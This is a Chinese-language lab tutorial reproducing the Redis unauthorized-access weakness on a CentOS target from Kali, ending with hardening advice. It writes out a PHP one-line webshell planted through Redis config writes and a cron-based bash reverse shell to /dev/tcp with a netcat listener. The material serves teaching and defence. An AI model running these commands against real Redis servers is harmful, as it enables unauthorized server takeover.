当前位置: 首页 > article >正文

Redis - General - 未授权访问漏洞(用户配置问题)

0x01:产品简介

Redis(Remote Dictionary Service,远程数据服务),是一款开源的基于内存的键值对存储系统,其主要被用作高性能缓存服务器使用(比如作为消息中间件和用于 Session 共享)。

Redis 采用键值对模型来存储数据,因此其支持非常多的数据结构类型,比如:字符串(String)、哈希表(Hash)、有序列表(List)、无序集合(Set)、有序集合(ZSet)。

由于 Redis 采用基于内存的存储方式,所以其免去了磁盘 I/O 速度的影响,因此其读写性能极高。

拓展:简单的 Redis 操作指令(部署完环境后速查)

 /redis-cli # 连接本地的 Redis 服务端
 redis-cli -h xx.xx.xx.xx -p 6379 # 连接远程的 Redis 服务端
 ​
 flushall # 清空所有的 Key
 keys *   # 查看所有的 Key
 ​
 set Hack3rX Blue17  # 设置 Key
 get Hack3rX         # 根据 Key,取出 Value
 ​
 hset hash 1 a 2 b 3 c 4 d # 设置 Hash 值
 hget hash 1 # 取出 hash 值为 1 的值,即 a

0x02:漏洞简介

首先需要说明,Redis 官方并不认为这个是它们系统的漏洞,他们认为这源自于用户配置不当所造成的问题,所以在很早的 Redis 版本中就可以使用该漏洞进行攻击。

在默认配置下,Redis 会绑定至本机的 6379 端口。若用户未采取诸如限制 Redis 访问 IP 等防护措施,且未设置密码认证(Redis 默认密码为空),便直接将 Redis 服务暴露于公网,这将使得任意用户在能够访问目标服务器的情况下,可借助 Redis 自身的 config 命令执行写文件操作。攻击者可借此向定时任务中植入恶意代码,进而获取 Redis 运行服务器的控制权,并进一步实施攻击。

0x03:环境搭建

环境准备

  • Redis 版本:6.2.3(CSDN 备份资源:redis-6.2.3.tar.gz)

  • 靶机环境:CentOS7 - IP 192.168.0.137 - 安装 Redis 服务器

  • 攻击机环境:Kali Linux - IP 192.168.0.136 - 安装 Redis 客户端

0x0301:靶机环境搭建

靶机:Redis 服务端配置概览

目标:能让任何 Redis 客户端都连接上 Redis 服务器。

备注:Redis 服务端是使用 root 用户安装的。(实际环境中不推荐)

  • Redis 配置文件:

    • 关闭保护模式 protected-mode(让任何客户端都能连接)

    • 取消 IP 绑定 bind(让任何客户端都能连接)

    • 取消 Redis 连接密码(这个是默认的配置)

  • 服务端配置:

    • 开放 6379 端口,或者关闭防火墙(公网安装记得去安全组中进行配置)

1. CentOS 7 安装 Redis 源码包

Downloads - Redishttps://redis.io/downloads/

使用 SSH 登录到靶机,切换到 Root 用户,然后在 /usr/local/ 目录下创建一个soft文件夹以存放我们安装的 Redis 软件(你可以挑选你喜欢的安装目录,这里不必和笔者一样):

 mkdir /usr/local/soft # 创建 soft 文件夹,以存放安装的程序(可选,看你)
 cd /usr/local/soft    # 进入 soft 文件夹
 wget https://download.redis.io/releases/redis-6.2.3.tar.gz # 下载 Redis 源码包

输入下面的命令解压 redis 压缩包:

 tar -zxvf redis-6.2.3.tar.gz

我们刚刚下载的是 Redis 的源码包,还不能直接使用,我们还需要将其编译成可执行程序后才能使用。由于 Redis 是使用 C 语言编写的,所以我们编译需要用到 GCC。Redis 6.x.x 版本支持了多线程,所以需要 GCC 的版本大于 4.9(CentOS7 默认 GCC 版本是 4.8.5)。

2. CentOS 7 升级 GCC 版本

输入下面的命令查看本机当前的 gcc 版本:

 gcc -v

依次输入下面的命令升级本机的 GCC 版本(这里很多人都会失败,建议参考笔者下面列举的项目进行排查):

 yum -y install centos-release-scl
 yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils 
 scl enable devtoolset-9 bash 
 echo "source /opt/rh/devtoolset-9/enable" >>/etc/profile

Bug:若无法下载 gcc 9 版本可以参考下面流程进行排查(NameServer Error)

在下载 gcc 9 版本时,可能会报出 NameServer Error 问题,即 yum 源域名无法解析的问题,建议按照如下流程排查:

  • 修改本地 DNS 解析地址,直到你能 Ping 通 baidu.com 为止(问 AI)。

  • 修改本地 yum 源为阿里源 - 参考下面这篇文章:

    • Centos7将yum源更换为国内源保姆级教程_centos使用中科大源-CSDN博客

  • 当你修改 yum 源后 makecache 时报错发现改源失败,参考这篇文章修改 SCL 源:

    • Centos7 停止维护之后 升级gcc||找不到devtoolset-8-gcc* 问题解决方案

等上面的命令执行完毕后输入下面的命令,查看当前 gcc 的版本:

 gcc -v

3. CentOS 7 编译安装 Redis

输入下面的命令进入 redis 源码包解压后的 src (源码)目录:

 cd /usr/local/soft/redis-6.2.3/src

使用下面的命令将 Redis 源码编译成可执行程序:

make install

src 目录下输入下面的命令,确定你是否安装成功:

ls | grep -E "redis-server|redis-cli|redis-sentinel"

4. 修改 Redis 配置文件

首先明确一点,笔者将 redis 安装在了:/usr/local/soft/redis-6.2.3 文件夹下。所以我本机的 Redis 默认配置文件是在 /usr/local/soft/redis-6.2.3/redis.conf

使用下面的命令打开并编辑 Redis 的配置文件(修改完成后记得保存):

vim /usr/local/soft/redis-6.2.3/redis.conf

# 以下是需要更改的配置内容
1. 将 protected-mode yes 修改为 protected-mode no 
2. 将 daemonize no 修改为 daemonize yes
3. 注释掉 bind 127.0.0.1
4. (实验跳过,实际必选)如果需要密码访问,取消 requirepass 的注释,如果你在外网(比如阿里云)这个必须要配置。

5. 使用指定配置文件启动 Redis

输入下面的命令,使用 redis-server(我们编译好的可执行程序)加载我们刚刚修改的配置文件来尝试启动 Redis 服务:

/usr/local/soft/redis-6.2.3/src/redis-server /usr/local/soft/redis-6.2.3/redis.conf

输入完上面的命令后,在使用下面的命令来确定 Redis 是否启动成功(Redis 默认端口是 6379,如果我们发现 6379 端口处于 LISTEN 状态,则说明 Redis 启动成功):

netstat -an | grep 6379

6. 使用 Redis 客户端连接 Redis 服务器

输入下面的命令,使用我们刚刚编译好的 redis 客户端程序连接上 redis 服务器:

/usr/local/soft/redis-6.2.3/src/redis-cli

7. 停止 redis 服务器(服务器中)

在上面的演示中,我们通过 exit 退出连接了 Redis 服务器,可以发现 Redis 服务器其实依旧在运行,并没有关闭,那么我们要怎么关闭 redis 服务呢?

关闭 redis 服务可以通过以下两个方式进行(在运行 Redis 服务的机器中运行):

========================== Way 1
127.0.0.1:6379> shutdown

========================== Way 2
ps -aux | grep redis # 筛选出 redis 服务的进程号
kill -9 xxxxx        # 直接杀死 redis 服务的进程

8. (可选)快捷使用 Redis - 配置别名

我们刚刚通过输入 /usr/local/soft/redis-6.2.3/src/redis-server /usr/local/soft/redis-6.2.3/redis.conf 的方式启动 Redis 非常的麻烦,有没有简单的缩短我们敲的指令的长度呢?

有的,兄弟,有的,配置别名就可以了,输入下面的命令编辑 .bashrc 文件(记得保存):

vim ~/.bashrc # 编辑 ~/.bashrc

# 添加下面两行内容
alias redis='/usr/local/soft/redis-6.2.3/src/redis-server /usr/local/soft/redis-6.2.3/redis.conf'
alias recli='/usr/local/soft/redis-6.2.3/src/redis-cli'

然后输入下面的命令,使我们上面修改的内容生效:

source ~/.bashrc

然后我们就可以使用 redis 命令直接启动 redis 服务,使用 recli 命令直接进入客户端了:

9. 开放 6379 端口 or 关闭防火墙

为了我们漏洞复现的成功,我们需要将服务端的 Redis 服务暴露出来。暴露的方式很简单,如果你是在公网上安装的,从安全组中开放 6379 端口即可。这里我们主要讲解第二种方式,即关闭防火墙(漏洞复现,还是别拿自己的公网服务器开玩笑比较好)。

首先,输入下面的命令,查看本机防火墙状态:

systemctl status firewalld

关闭防火墙输入下面的命令即可:

systemctl stop firewalld.service    # 关闭防火墙,重启后防火墙会自动开启
systemctl disable firewalld.service # 禁止防火墙开机启动

那么至此,我们的靶机环境就搭建完成了。

0x0302:攻击机环境搭建

攻击机我们采用的是 Kali Linux,对于攻击机的环境,其实只要安装一个 Redis 的客户端程序即可,具体流程与上面安装 CentOS 7 的基本一致,所以笔者这里就简略点写了。

下载 Redis 源码包,并进行解压编译成可执行文件(本机 Kali 的 GCC 版本是 13.2.0 符合要求):

# 下载 Redis 源码包
wget https://download.redis.io/releases/redis-6.2.3.tar.gz
# 进行解压操作
tar -zxvf redis-6.2.3.tar.gz
# 进入源码目录
cd redis-6.2.3/src
# 将源码编译成可执行程序
make install
# 将 src 目录下的 redis-cli 拷贝到 /usr/bin 目录下,我们就可以直接使用 redis-cli 运行客户端了
cp ./redis-cli /usr/bin

按照上面的步骤操作完成后,我们就可以尝试使用 Kali 中的 redis 客户端连接 CentOS 7 靶机上的 Redis 服务器了:

redis-cli -h 192.168.0.137 -p 6379

0x04:漏洞复现

0x0401:基础知识 - Redis 持久化机制

在 Redis 产品简介中我们已经说过了,Redis 是将数据存储在内存中。我们知道的,内存中的数据是不持久的,如果我们的服务器不小心关机了,或者 Redis 的服务不小心崩溃了,那么 Redis 中存储的数据就会全部消失。

为了解决上面的问题,我们就要使用到 Redis 的持久化机制,即定期将内存中的数据拷贝到硬盘上。Redis 提供了两种方式来做持久化,分别是 RDB(默认,Redis DataBase)与 AOF(Append Only File),这两种方式是可以同时使用的,并不是排斥的。我们这里主要是讲解 RDB 的方式,因为是默认的,所以用的比较多。

1. RDB - 自动备份

RDB 方式可以分为自动触发与手动触发两种,我们先来看看自动触发,使用靶机打开 Redis 的配置文件,定位关键词 SNAPSHOTTING,这部分是控制自动触发的条件的:

vim /usr/local/soft/redis-6.2.3/redis.conf

然后再定位关键词 dbfilename,这部分是控制保存的文件名的:

然后我们再定位关键词 dir,这部分是控制保存的路径的:

通过上面几个配置,我们了解到了,Redis 会通过 SNAPSHOTTING 中的规则,将内存中的数据定期备份到 Redis 安装目录下的 dump.rdb 文件中(默认情况下):

2. RDB - 手动备份

手动触发就比较简单了,进入 Redis 客户端中输入下面的命令就可以直接让 Redis 将内存数据写到磁盘中的指定位置了:

save

0x0402:基础知识 - Redis 动态修改配置

在之前的操作中,我们想要修改 Redis 的配置都需要去 Redis 的配置文件中进行修改。但 Redis 其实还提供了一个动态修改配置的机制,其语法如下(动态修改的配置只在本次服务中生效):

config set dir /
config set dbfilename redis.php

首先给大家看一下我靶机的根目录下的文件,此时是没有 redis.php 的:

在攻击机中,我们使用 Redis 客户端连接到靶机的 Redis 服务器中,并通过动态修改配置的方式,在靶机的根目录下生成一个 redis.php 文件:

┌──(root㉿kali)-[/home/kali/Desktop/soft]
└─# redis-cli -h 192.168.0.137 -p 6379 # 连接上靶机的 Redis 服务器
192.168.0.137:6379> keys *
(empty array)
192.168.0.137:6379> set Hack3rX "I'm Comming!" # 设置一个 Key
OK
192.168.0.137:6379> set kiss "<?php @eval($_POST['muma']) ?>" # 设置一个 Key,并写入一句话木马
OK
192.168.0.137:6379> config set dir / # 通过动态修改配置,设置保存的文件位置
OK
192.168.0.137:6379> config set dbfilename redis.php # 设置保存的文件名
OK
192.168.0.137:6379> save # 手动执行保存操作
OK

下面我们来看看靶机的根目录下的内容:

可以发现,此时在靶机的根目录下就出现了一个 redis.php 文件,打开该文件,可以发现里面有完好的 PHP 一句话木马的内容(如果我们将保存位置设置到靶机的站点目录下呢,是不是就可以直接写入 Shell,然后再使用远控工具进行连接,就能直接拿到服务器的控制权了呢)。

0x0403:漏洞利用 - Redis 定时反弹连接

在前面的内容中我们介绍了 Redis 的持久化机制,现在我们就尝试使用该机制来获取靶机执行命令的权限。

目前我的靶机是除了 6379 Redis 开放的以外,其他服务都没开放,也不存在 HTTP 服务。那么,这种情况我们要怎么拿到 Shell?很简单,利用定时任务就可以了。

首先,我们进入 Kali 攻击机,并监听本机的 7777 端口:

nc -lvp 7777

然后新打开一个窗口,使用攻击机的 Redis 客户端程序连接到靶机的 Redis 服务器中:

redis-cli -h 192.168.0.137 -p 6379

然后将定时任务的内容作为 Value 写入到 Redis 中:

# 下面是写入了一个 Bash 反弹连接的任务,每分钟执行一次,靶机会自动将权限提交给攻击机
set x "\n* * * * * bash -i >& /dev/tcp/192.168.0.136/7777 0>&1 \n" 

如上,我们写了一个定时执行的反弹连接代码到靶机上。然后,使用 Redis 动态修改配置的特性,将数据保存到靶机的定时任务文件中(这个文件是固定的):

config set dir /var/spool/cron/  # 设置保存的路径
config set dbfilename root       # 设置保存的文件名
save                             # 手动执行持久化操作

等待一分钟,很快,攻击机监听的 7777 端口就传来了靶机的 Shell,成功拿到靶机的控制权:

至此,Redis 未授权访问漏洞结合定时任务反弹 Shell 的攻击演示结束。(后面就是权限维持,痕迹清理啥的基础内容了,笔者不准备在这里讲解)。

最后,再来看以下靶机的 root 用户下的定时任务中的内容吧:

0x05:加固方案

Redis security | DocsSecurity model and features in Redishttps://redis.io/docs/latest/operate/oss_and_stack/management/security/

Redis 的加固方案可以参考上面提供的官网文档。针对 “Redis 未授权访问漏洞” 相信大家在安装 Redis 的时候应该就想到了防御方法了,这里简单列一下吧:

  • 不建议将 Redis 布置在公网中(不受信任的网络环境中)。

  • 限制访问 IP => protected-mode 配置与 bind 配置。

  • 设置 Redis 的连接密码(强密码) => requirepass 配置。

  • 修改 Redis 默认端口。

  • 不要使用 Root 用户运行 Redis,而是创建一个低权限用户运行它。

0x06:参考资料

【Kali】Kali 安装 redis-cli_kali安装redis-cli-CSDN博客文章浏览阅读5.2k次,点赞24次,收藏17次。起序:留个笔记。一、下载下载 redis-stable.tar.gz。wget http://download.redis.io/redis-stable.tar.gz二、解压解压 redis-stable。tar -zxf redis-stable.tar.gz三、编译编译 redis-stable。# 进入到 redis-stable 目录cd redis-stable# 编译make四、拷贝编译完成之后,再将 src 目录下的 redis-cl._kali安装redis-clihttps://blog.csdn.net/qq_43427482/article/details/114794812

http://www.kler.cn/a/511963.html

相关文章:

  • postman请求参数化
  • ChromeOS 132 版本更新
  • 项目开发实践——基于SpringBoot+Vue3实现的在线考试系统(七)
  • 利用免费GIS工具箱实现高斯泼溅切片,将 PLY 格式转换为 3dtiles
  • 5、docker-compose和docker-harbor
  • [手机Linux] 七,NextCloud优化设置
  • Quartus:开发使用及 Tips 总结
  • 适合快递驿站出库仪一体机的安卓主板
  • 如何在龙蜥 OS(AliOS)上安装极狐GitLab?
  • canvas snake game
  • 面向CTF的python_requests库的学习笔记
  • 二十项零信任相关的前沿和趋势性技术-Extranet as a Service
  • 中国综合算力指数(2024年)报告汇总PDF洞察(附原数据表)
  • C#集合排序指南:掌握自定义排序的多种方法
  • 汇编学习笔记(自用)
  • LLM(3) : 浏览器录制16K的音频并上传到后端
  • UG NX二次开发(C#)-创建三维直线段并倒圆
  • 研1如何准备才能找到大厂实习?
  • Sudo命令的配置及使用
  • 【前端】CSS学习笔记(1)
  • Unity自学之旅01
  • JupyterLab 安装以及部分相关配置
  • WSL 2 自动更新 虚拟 IP 到 window hosts
  • 说说HashMap 的位操作以及HashSet的contains方法复杂度是多少?
  • std::forward实现原理与应用场景
  • Linux之socket编程(上)